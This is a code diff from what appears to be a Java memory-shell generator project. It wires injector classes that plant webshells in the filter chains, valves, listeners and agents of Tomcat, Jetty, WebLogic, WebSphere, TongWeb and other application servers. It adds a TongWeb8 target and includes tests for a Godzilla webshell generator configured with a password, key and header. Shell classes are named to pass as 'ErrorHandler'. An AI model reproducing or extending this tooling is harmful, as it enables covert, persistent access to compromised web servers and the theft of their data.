response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "parameters"), "response");
|
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "http"), "response");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -33,6 +34,7 @@ public class ApusicShell extends AbstractShell {
|
|||||||
.addInjector(LISTENER, ApusicListenerInjector.class)
|
.addInjector(LISTENER, ApusicListenerInjector.class)
|
||||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, ApusicFilterChainAgentInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,8 +22,7 @@ public class BesShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, BesFilterInjector.class)
|
.addInjector(FILTER, BesFilterInjector.class)
|
||||||
.addInjector(VALVE, BesValveInjector.class)
|
.addInjector(VALVE, BesValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -51,9 +49,7 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -31,9 +29,7 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -28,9 +26,7 @@ public class JbossShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, JbossFilterInjector.class)
|
.addInjector(FILTER, JbossFilterInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.jetty.*;
|
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -44,7 +47,6 @@ public class JettyShell extends AbstractShell {
|
|||||||
.addInjector(SERVLET, JettyServletInjector.class)
|
.addInjector(SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||||
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.*;
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, ResinFilterInjector.class)
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
.addInjector(SERVLET, ResinServletInjector.class)
|
.addInjector(SERVLET, ResinServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -41,6 +41,10 @@ public class ServerToolRegistry {
|
|||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
|
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (isValve && shell instanceof TongWeb8Shell) {
|
||||||
|
shellClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB8_VALVE_PACKAGE, shellClass);
|
||||||
|
}
|
||||||
|
|
||||||
if (isValve && shell instanceof BesShell) {
|
if (isValve && shell instanceof BesShell) {
|
||||||
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
|
shellClass = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, shellClass);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
|
|||||||
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -42,10 +42,9 @@ public class TomcatShell extends AbstractShell {
|
|||||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
|
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.injector.tongweb.*;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/27
|
||||||
|
*/
|
||||||
|
public class TongWeb8Shell extends AbstractShell {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Class<?> getListenerInterceptor() {
|
||||||
|
return TomcatShell.ListenerInterceptor.class;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||||
|
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||||
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.undertow.*;
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -44,8 +47,7 @@ public class UndertowShell extends AbstractShell {
|
|||||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletHandlerAgentInjector.class)
|
||||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.weblogic.*;
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -22,7 +25,6 @@ public class WebLogicShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.websphere.*;
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereFilterInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereListenerInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.websphere.WebSphereServletInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -33,7 +36,6 @@ public class WebSphereShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -91,6 +91,10 @@ public class CommonUtil {
|
|||||||
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getPackageName(String className) {
|
||||||
|
return className.substring(0, className.lastIndexOf("."));
|
||||||
|
}
|
||||||
|
|
||||||
public static String generateShellClassName() {
|
public static String generateShellClassName() {
|
||||||
return getRandomPackageName() + ".ErrorHandler";
|
return getRandomPackageName() + ".ErrorHandler";
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
+2
-1
@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.*;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
+4
-1
@@ -6,11 +6,14 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
import java.util.Base64;;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/19
|
* @since 2025/3/19
|
||||||
|
|||||||
+3
-2
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.reajason.javaweb.util.ClassDefiner;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
@@ -38,8 +39,8 @@ class GodzillaGeneratorTest {
|
|||||||
.key("key")
|
.key("key")
|
||||||
.headerName("User-Agent")
|
.headerName("User-Agent")
|
||||||
.headerValue("test").build();
|
.headerValue("test").build();
|
||||||
DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
|
byte[] bytes = new GodzillaGenerator(shellConfig, godzillaConfig).getBytes();
|
||||||
Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
|
Class<?> loaded = ClassDefiner.defineClass(bytes);
|
||||||
Object o = loaded.getDeclaredConstructor().newInstance();
|
Object o = loaded.getDeclaredConstructor().newInstance();
|
||||||
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
|
assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
|
||||||
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
|
assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));
|
||||||
|
|||||||
+3
-4
@@ -2,12 +2,11 @@ package com.reajason.javaweb.memshell.generator;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,12 +20,12 @@ class InjectorGeneratorTest {
|
|||||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
.shellClassBytes("hello".getBytes())
|
.shellClassBytes("hello".getBytes())
|
||||||
.shellClassName("hello")
|
.shellClassName("hello")
|
||||||
